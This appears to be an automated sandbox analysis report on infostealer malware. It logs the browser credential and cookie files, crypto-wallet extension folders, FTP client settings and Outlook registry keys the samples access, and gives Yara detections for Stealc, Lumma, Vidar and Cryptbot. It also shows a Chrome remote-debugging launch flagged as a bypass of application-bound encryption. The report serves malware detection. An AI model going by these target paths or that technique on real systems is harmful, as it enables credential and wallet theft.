Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\formhistory.sqlite
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\logins.json
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\KKEBKJJDGH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX

Source: Yara match	File source: 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 9140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5467ed4ac5.exe PID: 7964, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 5467ed4ac5.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1811763144.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1812862722.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1283432588.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 9140, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 9140, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB10B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6BB10B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA38EA0 sqlite3_clear_bindings,	0_2_6BA38EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB10D60 sqlite3_bind_parameter_name,	0_2_6BB10D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BB10C40 sqlite3_bind_zeroblob,	0_2_6BB10C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA363C0 PR_Bind,	0_2_6BA363C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6B9C22D0 sqlite3_bind_blob,	0_2_6B9C22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA360B0 listen,WSAGetLastError,	0_2_6BA360B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA3C030 sqlite3_bind_parameter_count,	0_2_6BA3C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA36070 PR_Listen,	0_2_6BA36070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA3C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6BA3C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA36410 bind,WSAGetLastError,	0_2_6BA36410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA39380 sqlite3_bind_int,	0_2_6BA39380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6BA392E0 sqlite3_bind_double,	0_2_6BA392E0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Network Service Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	612 Process Injection	5 Obfuscated Files or Information	Security Account Manager	13 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	11 Scheduled Task/Job	12 Software Packing	NTDS	58 System Information Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	7101 Security Software Discovery	VNC	GUI Input Capture	115 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	381 Virtualization/Sandbox Evasion	Proc Filesystem	381 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	612 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	11 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	39%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\tpZOod0[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\HRFuUub[1].exe	100%	Joe Sandbox ML
